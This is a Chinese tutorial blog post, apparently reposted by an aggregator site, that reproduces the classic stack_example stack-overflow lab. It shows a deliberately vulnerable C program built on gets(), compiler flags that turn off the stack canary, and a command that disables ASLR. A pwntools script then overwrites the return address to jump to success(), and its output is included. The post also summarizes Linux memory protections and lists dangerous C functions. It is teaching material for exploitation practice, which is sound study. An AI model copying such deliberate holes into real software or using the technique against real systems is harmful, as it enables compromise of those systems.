二进制安全:经典栈溢出(stack_example)实战
Posted 鸿渐之翼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了二进制安全:经典栈溢出(stack_example)实战相关的知识,希望对你有一定的参考价值。
栈溢出介绍
栈溢出实战
扩展: Linux系统保护机制
很多读者朋友在问这篇文章里的checksec是什么工具?这里先解释下,我们用的平台是Linux系统,checksec是一个叫做pwntools包含的工具,如果不清楚如何搭建平台复现此实验,可以参考这篇文章
二进制安全:实验环境搭建之pwntools安装:利用国内源提速下载pip安装各式各样的库(安装pwn库全程指导)
栈溢出实验程序:
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
介绍 :
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是
程序必须向栈上写入数据。
写入的数据大小没有被良好地控制。
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限。
这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数。
我们利用如下命令对其进行编译
gcc -m32 -fno-stack-protector stack_example.c -o stack_example
这里编译报错:
通过命令解决:
sudo apt-get install gcc-multilib g++-multilib module-assistant
这里提示需要使用命令安装一些受损的packages
sudo apt --fix-broken install
安装成功后再次编译程序
gcc -m32 -fno-stack-protector stack_example.c -o stack_example
上图可以看出 gets 本身是一个危险函数,编译器建议使用fgets(),因为gets它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易导致栈溢出。
由于我们是为了复现栈溢出所以忽略了警告。
那么问题来了,以上使用的-fno-stack-protector 是什么参数呢?
这里就要简单介绍Linux系统程序保护机制。有机会单独成文讨论。
Linux常用的几种保护机制有:
CANNARY(栈保护)
FORTIFY
NX(DEP)
PIE(ASLR)
RELRO
这么多名词,看着也是折磨人,如何快速理解呢?总结如下,直接上手编译就知道了,下面我们通过checksec工具来看下,下面是编译参数。
NX:-z execstack / -z noexecstack (关闭 / 开启)
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)
PIE:-no-pie / -pie (关闭 / 开启)
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)
刚才我们用到的参数是-fno-stack-protector,即关闭cannary保护.。
提到编译时的 PIE 保护,Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有
0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
使用命令关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。为了降低后续漏洞利用复杂度,我们这里关闭 ASLR,在编译时关闭 PIE。当然读者也可以尝试 ASLR、PIE 开关的不同组合,配合 IDA 及其动态调试功能观察程序地址变化情况(在 ASLR 关闭、PIE 开启时也可以攻击成功)。
请务必使用该命令避免提示
permission denied: /proc/sys/kernel/randomize_va_space
无权限的问题
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
接着我们先运行下这个程序,把栈溢出漏洞暴露出来
当我看到segmentation fault,已经开始狂喜了
我们现在已经得到了stack_example编译出来的程序,直接把它丢到IDA中反编译。
前面我们通过checksec工具,看到,这个程序是32bit的,所以我们就使用32位IDA。
确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到IDA结果反编译出来的。
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}
我们找到success函数的地址是,0x0804843B
如果我们要用A来进行栈溢出那么读取的字符串为:
0x14*'a'+'bbbb'+success_addr
那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为
为什么呢要填充4个b呢?简单理解,我们需要用b占位置,然后进行栈溢出。
但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804843B 在内存中的形式是\\x3b\\x84\\x04\\x08
但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \\,x 等也算一个单独的字符。。所以我们需要想办法将 \\x3b 作为一个字符输入进去。这里利用 pwntools 的代码如下:
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process("./stack_example")
success_addr = 0x0804843b
## 构造payload
payload = "a" * 0x14 + "bbbb" + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
[+] Starting local process './stack_example': pid 61936
;\\x84\\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbb;\\x84\\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936)
[*] Got EOF while sending in interactive
寻找危险函数
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下
输入
gets,直接读取一行,忽略’\\x00’
scanf
vscanf
输出
sprintf
字符串
strcpy,字符串复制,遇到’\\x00’停止
strcat,字符串拼接,遇到’\\x00’停止
bcopy
以上是关于二进制安全:经典栈溢出(stack_example)实战的主要内容,如果未能解决你的问题,请参考以下文章
经典栈溢出利用详解一例—Notepad++插件CCompletion